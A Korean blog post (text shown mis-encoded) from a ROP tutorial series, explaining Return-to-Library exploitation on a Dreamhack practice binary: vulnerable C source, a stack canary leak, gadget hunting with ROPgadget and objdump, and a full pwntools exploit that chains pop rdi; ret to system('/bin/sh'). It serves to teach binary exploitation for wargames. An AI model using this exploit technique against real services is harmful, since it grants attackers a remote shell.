๐ROP ์๋ฆฌ์ฆ๐
[ROP ์๋ฆฌ์ฆ (1)] ๋ผ์ด๋ธ๋ฌ๋ฆฌ์ ๋งํฌ
[ROP ์๋ฆฌ์ฆ (3)] Return to Library ๊ฐ๋ ๋ฐ ์ค์ต <-์ฌ๊ธฐ!
[ROP ์๋ฆฌ์ฆ (4)] ๋๋ฆผํต(Dreamhack) - rop
ASLR์ NX์ ๋ฑ์ฅ์ผ๋ก ์ธํด ํจ์๋ ๋ฒํผ์ ์ฃผ์๋ฅผ ์๊ธฐ ์ด๋ ค์์ก๊ณ , ์ํ๋ ์ฝ๋๋ฅผ ์คํํ๋ ๊ฒ์กฐ์ฐจ ์ด๋ ค์์ก๋ค.
์ค๋์ ์ฐ๋ฆฌ๊ฐ ๋ง๋ ์
ธ ์ฝ๋๊ฐ ์๋ ๋ผ์ด๋ธ๋ฌ๋ฆฌ์ ํจ์๋ฅผ ์คํํ์ฌ ์์ ๋ฐ๋ด๋ ์ค์ต์ ํด๋ณผ ๊ฒ์ด๋ค.
์ผ๋จ ret๊ฐ pop rip์ ์ฝ์์์ ๊ธฐ์ตํ๊ณ ๋ค์ด๊ฐ์
์ฝ๋
// Name: rtl.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
const char* binsh = "/bin/sh";
//"/bin/sh" ๋ฅผ ์ ์ญ๋ณ์๋ก ์ ์ธํ์ฌ ๋ฐ์ดํฐ ์ธ๊ทธ๋จผํธ์ ์ ์ฅ (์ฃผ์ ๊ณ ์ )
int main() {
char buf[0x30];
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
// Add system function to plt's entry
system("echo 'system@plt'");
//systemํจ์๋ฅผ ์คํํจ์ผ๋ก์จ plt์ ์ถ๊ฐํ๋ ์ญํ
// Leak canary
printf("[1] Leak Canary\n");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
//์นด๋๋ฆฌ ํ๋
// Overwrite return address
printf("[2] Overwrite return address\n");
printf("Buf: ");
read(0, buf, 0x100);
return 0;
}
์ฐ๋ฆฌ์ ์ต์ข
๋ชฉํ๋ system("/bin/sh")์ ์คํํ๋ ๊ฒ์ด๋ค.
๊ทธ๋ ๋ค๋ฉด return address์ systemํจ์์ ์ฃผ์๋ฅผ ๋ฃ์ด์ผํ ๊น? ํ์ง๋ง ์ฐ๋ฆฌ๋ "/bin/sh"๋ผ๋ ๋ฌธ์์ด ๋ํ rdi์ ๋ฃ์ด์ฃผ์ด์ผํ๋ค.
๋ฐ๋ผ์ ๊ทธ๋ฅ ๋ฐ๋ก systemํจ์์ ์ฃผ์๋ฅผ ๋ฃ์ผ๋ฉด ์๋๊ณ pop rdi; ret (pop rdi์ ret์ด ์ฐ์์ ์ผ๋ก ์๋ ์ฝ๋)๊ฐ ๋ค์ด์๋ ๊ณณ์ ์ฐพ์์ผํ๋ค.
์นด๋๋ฆฌ ์ฐํ๋ ๊ฐ๋จํ๋ฏ๋ก ๊ทธ๋ฅ ๊ฐ๋จํ ๋ณด๋๋ก ํ๊ฒ ๋ค. (์ด ํฌ์คํธ ์ฃผ์ ์๋ ์ฐ๊ด์์ผ๋ ์ต์คํ๋ก์์ ํ๊ธฐ ์ํด ํ์ํ๋ค)
๋ฒํผ์์~์นด๋๋ฆฌ๊น์ง ๊ฑฐ๋ฆฌ ๊ตฌํด์ผํจ.
๋ฒํผ์์ ์์น๋ read์์ rsi ์์น๋ฅผ ์ฐธ๊ณ ํ๋ฉด ๊ตฌํ ์ ์๋ค!
์นด๋๋ฆฌ ์์น๋ ๋ณดํต sfp-0x8์ด์ง๋ง gdb๋ก ํ์ธํด๋ณด๋ ๊ฒ์ด ๋ ์ ํํ๋ค(ํจ์ ์ํ๋ก๊ทธ์์ ์ด๋ค์ ๋ฅผ ๊ฒ์ฆํ๋์ง ๋ณด๊ณ , ํจ์ ํ๋กค๋ก๊ทธ์์ ๊ทธ ์ ๊ฐ ๋ญ์ง ํ์ธํ๊ณ ์ด๋์ ์ผ๋ง๋ ์ ์ฅ๋์ด์๋์ง ํ์ธํ๋ฉด ๋๋ค)
rsi๊ฐ buffer ์์น๋ค. ์๋ rbp-0x40์ด๋ผ๊ณ ํ๋ค
์นด๋๋ฆฌ๋ rbp-0x8์ ์ ์ ์ฅ๋์ด์๋น
(์๊ธฐ์ ๋ณด๋ฉด rax๋ฅผ fs:0x28์์ ๊ฐ์ ธ์ค๋๊ฑธ ์์์ด๋ฐ)
์ฐ๋ฆฌ๋ ์คํ ํ๋ ์(ํ์ด๋ก๋)์ ์์๊ฐ์ด ๊ตฌ์ฑํด์ค ๊ฒ์ด๋ค. ์ด๋ฅผ ์ฝ๋๋ก ์์ฑํ๋ฉด payload=b'A'*0x38+canary+rbp_dummy+ret_gadget+poprdi_gadget+binsh_addr+sys_plt ์ด๋ค.
์ด์ ์ด๋ ๊ฒ ์คํ ํ๋ ์์ด ์๋ ๊ฒฝ์ฐ main์์ ret์ ๋๋ฌํ์ ๋ ์ด๋ค์์ผ๋ก ํ๋ฆ์ด ์งํ๋๋์ง ์ดํด๋ณด์. ์นด๋๋ฆฌ ์ฐํ๋ ๋ค ํ๋ค๊ณ ๊ฐ์ ํ๊ฒ ๋ค.
์ผ๋จ main์์ ret์ฝ๋๋ก ๋์ฐฉํ ์ํฉ์ด๋ค. ์ด๋ ret๋ pop rip์ ์ฝ์์ด๋ฏ๋ก ์ฐ๋ฆฌ๋ ์คํ ๋งจ ์์ ์๋ pop rdi;ret์ ์ฃผ์(0x1234)๋ฅผ rip๋ก ์ฎ๊ธด๋ค.
๊ทธ๋ฌ๋ฉด ์ด๋ ๊ฒ ์คํด ํ๋ฆ์ด main์ ret์์ 0x1234 (pop rdi๊ฐ ์๋ ๋ถ๋ถ)์ผ๋ก ์ฎ๊ฒจ์ก๋ค. 0x1234๊ฐ pop๋์๊ณ ์คํ ๋งจ ์์๋ "bin/sh"์ฃผ์๊ฐ ๋จ์์๋ค.
ํํธ ์ฐ๋ฆฌ๋ pop rdi๋ผ๋ ๋ช ๋ น์ด๋ฅผ ์คํํด์ผ ํ๋ฏ๋ก ์ด๋ฅผ ์คํํ๋ฉด "/bin/sh"์ ์ฃผ์๊ฐ pop๋์ด์ rdi์ ์ ์ฅ๋๋ค.
์ด์ ์ฐ๋ฆฌ๋ 0x1234 ๋ฐ์ ret์ ์คํํด์ผํ๋ค(๋ ธ๋์์ผ๋ก ์น ํด์ง๋ถ๋ถ) ๋ฐ๋ผ์ system@plt๋ก rip๊ฐ ์ด๋๋๊ณ ์คํ์๋ ์๋ฌด๊ฒ๋ ๋จ์ง ์๊ฒ ๋๋ค. ํํธ rdi์ /bin/sh๊ฐ ๋ค์ด์์ผ๋ฏ๋ก ์ต์ข ์ ์ผ๋ก system("/bin/sh")
์์ ๊ณผ ๋ค๋ฅธ ์ ์, ๋จ์ํ ์์ ์๋ return๋ฌธ์ ํจ์ ์ฃผ์ ํน์ ์
ธ์ฝ๋ ์ฃผ์'๋ง' ๋ฃ์๋ค๋ฉด, ์ด์ ๋ ๊ทธ ํจ์์ ํ์ํ ์ธ์๊ฐ ํ์ํ๋ค๋ฉด, ๊ทธ๊ฒ๋ ์ฒ๋ฆฌํด์ค ์ฝ๋์กฐ๊ฐ์ ๋จผ์ ๋ฃ๋๊ฒ์ด๋ค. ๊ทธ๋ฆฌ๊ณ ๋ฆฌํด์ ํด์ฃผ๋ ๊ฒ์ด๋ค. ์ฆ returnํ๊ณ ๋ฐ๋ก ํจ์๊ฐ ์คํ๋๋ ๊ฒ์ด ์๋๋ผ ํจ์๊ฐ ์คํ๋๊ธฐ ์ ์ด์ ๋์๋ค๋ ๊ฐ์ดํ ์ ์๊ฒ๋ ret๋ฅผ ์ด์ฉํ๋ ๊ฒ์ด๋ค.
์๋ฅผ ๋ค์ด ์ฐ๋ฆฌ๊ฐ systemํจ์๋ฅผ ์คํํ๋ ค๋ฉด rdi์ ์ธ์๋ฅผ ๋จผ์ ๋ฃ์ด์ฃผ๋ ๊ณผ์ ์ด ํ์ํ๋ค.
๋ฐ๋ผ์ ์ฐ๋ฆฌ๊ฐ ํ์ํ๊ฑด ๋จ์ ret์ด ์๋๋ผ, pop rdi, ret์ธ ๊ฒ์ด๋ค. ๋ฐ๋ผ์ ์ฐ๋ฆฌ๋ ๋ฐ๋ก systemํจ์์ ์์น๋ก ์ด๋ํ๋ ๊ฒ์ด ์๋๋ผ pop rdi๋ฅผ ํ๊ณ systemํจ์๋ก ๋ฆฌํดํ๋ค.
์ด๋ ๊ฒ ret๋ก ๋๋๋ ์ฝ๋ ์กฐ๊ฐ์ ์ฐ๋ฆฌ๋ Return Gadget์ด๋ผ๊ณ ํ๋ค!! ๋ํ ํจ์๋ค๋ ๋๋ถ๋ถ ret๋ก ๋๋๊ธฐ ๋๋ฌธ์ ํจ์๋ค๋ return Gadget์ผ๋ก ์ฐ์ด๊ธฐ๋ ํ๋ค.
์ด๋ ๊ฒ ๋ฆฌํด ๊ฐ์ ฏ๋ค๋ก ์ฐ๊ฒฐ๋ ์ฝ๋ ๋ฌถ์์ ROP Chain์ด๋ผ๊ณ ํ๋ค, ROP Chain์ ret ๋จ์๋ก ์ฌ๋ฌ ์ฝ๋๊ฐ ์ฐ์์ ์ผ๋ก ์คํ๋๋ค! ROP๋ Return Oriented Programming์ ์ฝ์๋ก, Return Gadget์ ์ด์ฉํด ๋ณต์กํ ํ๋ฆ์ ๋ง๋ค์ด๋ด๋ ํดํน ๊ธฐ๋ฒ์ด๋ค. ์ค๋ ํ๋ RTL(Return to Library)๋ ์ด๊ฒ์ ์ฌ์ด ์๋ผ๊ณ ์๊ฐํ๋ฉด ๋๋ค. ROP์ ๋ํ ์์ธํ ๋ด์ฉ์ ๋ค์์ ํฌ์คํธ๋ก ์ฌ๋ฆด ์์ ์ด๋ค.
๊ทธ๋ฆฌ๊ณ ์ ๊ทธ๋ฅ gadget์ด ์๋๋ผ ret๊ฐ ๋ค์ด๊ฐ gadget์ ์ฐพ๋๋ฉด, ret์ ํด์ผ rip๊ฐ ์ฐ๋ฆฌ๊ฐ ์ํ๋ ์์น๋ก ๋ ์ด๋ํด ์ํ๋ ๋์์ ํ ์ ์๊ธฐ ๋๋ฌธ์ด๋ค!!
์ด์ ๋ ๊ทธ๋ฅ ๊ธฐ๊ณ์ ์ผ๋ก ๊ตฌํด์ฃผ๋ฉด ๋๋ค
ROP Gadget ๊ตฌํ๋ ๋ฒ
ROPgadget ๋ช ๋ น์ด ์ด์ฉ
pop rdi; ret์ ์ฃผ์๋ ROPgadget ๋ช ๋ น์ด๋ฅผ ์คํํ์ฌ ์ฐพ๋๋ค.
๋ช ๋ น์ด๋ ROPgadget --binary [๋ฐ์ด๋๋ฆฌ ์ด๋ฆ] --re "์ฐพ์ ๊ฐ์ ฏ ๊ท์น" ์ด๋ค
0x400853์ด ์ฐ๋ฆฌ๊ฐ ์ํ๋ ๊ฐ์ ฏ ์ฃผ์์ด๋ค
/bin/sh์ ์ฃผ์๋ ์ฐ๋ฆฌ๊ฐ ์๊น ์ ์ญ ๋ณ์๋ก ์ ์ธํด ๋์์๋ค.(์ฐธ๊ณ ๋ก ASLR๋ ๋ฐ์ดํฐ ์ธ๊ทธ๋จผํธ์ ์ฃผ์๋ ๋๋คํํ์ง ์๋๋ค) /bin/sh๋ ์ ์ญ๋ณ์์ด๋ฏ๋ก ๋ฐ์ดํฐ ์ธ๊ทธ๋จผํธ์ ์์ ๊ฒ์ด๋ฏ๋ก ์์น๋ ๊ณ ์ ์ด๋ค.
๋ง์ง๋ง์ผ๋ก system@plt ์ฃผ์๋ฅผ ๊ตฌํ์! ์ด๋ ์๋์ฒ๋ผ gdb์์ plt๋ฅผ ์ณ์ ๊ตฌํ ์๋ ์๊ณ ,
์ต์คํ๋ก์ ์ฝ๋์ ์ด๋ฅผ ๊ฐ์ ธ์ค๋ ์ฝ๋๋ฅผ ์์ฑํ ์๋ ์๋ค.
e=ELF("./rtl")
sys_plt=e.plt[’system’] #system@plt์ฃผ์
remote๋ฅผ ๊ณต๊ฒฉํด๋ remote์ ๋ฐ์ด๋๋ฆฌ ํ์ผ๋ง ์กด์ฌํ๋ฉด ๊ฑ ์ด๋ ๊ฒ ํด๋ ๋๋๋ฏ ์ถ๋ค. ์๋ํ๋ฉด ASLR์ด ๊ฑธ๋ ค๋ PIE๋ง ์ ๊ฑธ๋ ค์๋ค๋ฉด plt์ ์ฃผ์๋ ๋์ผํ๊ธฐ ๋๋ฌธ์ remote์์ ๊ตฌํ๋ ์ฐ๋ฆฌ์ง ๋ก์ปฌ ํ์ผ์์ ๊ตฌํ๋ plt ์ฃผ์๋ ๊ฐ๋ค.
objdump
objdump ๋ช ๋ น์ด๋ฅผ ์ด์ฉํด ์๋์ผ๋ก ์ฐพ์์ค ์๋ ์๋ค!
ROPgadget ๋ช ๋ น์ด๋ฅผ ์ด์ฉํ๋ฉด ๋ฌด์กฐ๊ฑด libc๊ฐ ๋ญ์ง ์์์ผํ์ง๋ง, objdump์ด์ฉํ๋ฉด ๋ฐ์ด๋๋ฆฌ ์ ์ฒด์์ ๊ฐ์ ฏ ์ฐพ์์ค ์ ์๊ธฐ ๋๋ฌธ์ ํ์ฉ๋๊ฐ ์ข ๋ ๋๋ค.(์๋ฅผ ๋ค์ด ์ฝ๋ ์ธ๊ทธ๋จผํธ ์ฃผ์ ์๋ค๊ณ ๊ฐ์ ํ๋ฉด ๊ฑฐ๊ธฐ์ ๊ฐ์ ฏ ์ฐพ์ ์ ์์) ๊ทธ๋์ ํ๋ํ๋ ์ฐพ์์ผํ๋ค.
๋๋ ์ค์ ๋ก CTF ๋ฌธ์ ๋ผ ๋ ์ด ๊ธฐ๋ฅ์ ์ด์ฉํด์ ๊ฐ์ ฏ์ ์ฐพ์ ์ ์๋ค. ์๊ฐ๋ณด๋ค ํ์ฉ๋๊ฐ ๋์ผ๋ ํน์ ํ์ํ๋ฉด ์ฌ์ฉํด๋ณด์.
objdump -d Notepad | grep -B4 "ret"
์๋ฌดํผ ์ด๋ ๊ฒ ํด์ ์ต์ข ์ต์คํ๋ก์ ์ฝ๋๋ฅผ ์์ฑํ๋ฉด ์๋์ ๊ฐ๋ค.
from pwn import *
p=remote("host3.dreamhack.games",11846)
buf=b'A'*0x39 #์ ๋ฐ...........................
p.sendafter("Buf: ",buf)
p.recvuntil(buf)
canary=b'\x00'+p.recvn(7)
ret_gadget=p64(0x400285)
rbp_dummy=b'B'*0x8
poprdi_gadget=p64(0x400853)
binsh_addr=p64(0x400874)
sys_plt=p64(0x4005d0)
payload=b'A'*0x38+canary+rbp_dummy+ret_gadget+poprdi_gadget+binsh_addr+sys_plt
p.sendlineafter("Buf: ",payload)
p.interactive()
buf์์ ์ฃผ์ ์ ๋ฐ์... 16์ง์ ๊ณ์ฐ์์ 0x40-0x8์ 0x32๋กํด์ ์ฝ์ง์ ์ค์ง๊ฒํ๊ธฐ ๋๋ฌธ์ด๋ค..^^ ๊ทธ๋์ ๋ค์ ๊ณ ์ณ์ค ๊ฒ์ด๋ค..ใ
ใ
๋ค์ ๊ธ
[ROP ์๋ฆฌ์ฆ (4)] ๋๋ฆผํต(Dreamhack) - rop
'Linux Exploitation > Fundamentals' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[Pwnable] PIE (0) | 2023.05.15 |
---|---|
[gdb] ๋ก์ปฌ/์๋ฒ์ ๋ผ์ด๋ธ๋ฌ๋ฆฌ ๋ค๋ฅธ ๊ฒฝ์ฐ (0) | 2023.04.28 |
[ROP ์๋ฆฌ์ฆ (2)] PLT, GOT (0) | 2023.04.17 |
[BOF] Stack Buffer Overflow (์คํ ๋ฒํผ ์ค๋ฒํ๋ก์ฐ), BOF ๊ธฐ์ด ๋ฐ ์ค์ต (2) | 2023.03.29 |
[Shell Code] ์ ธ์ฝ๋ ๊ฐ๋ ๋ฐ ORW ์ฝ๋ ์์ฑ์ ํตํ ์ค์ต (0) | 2023.03.26 |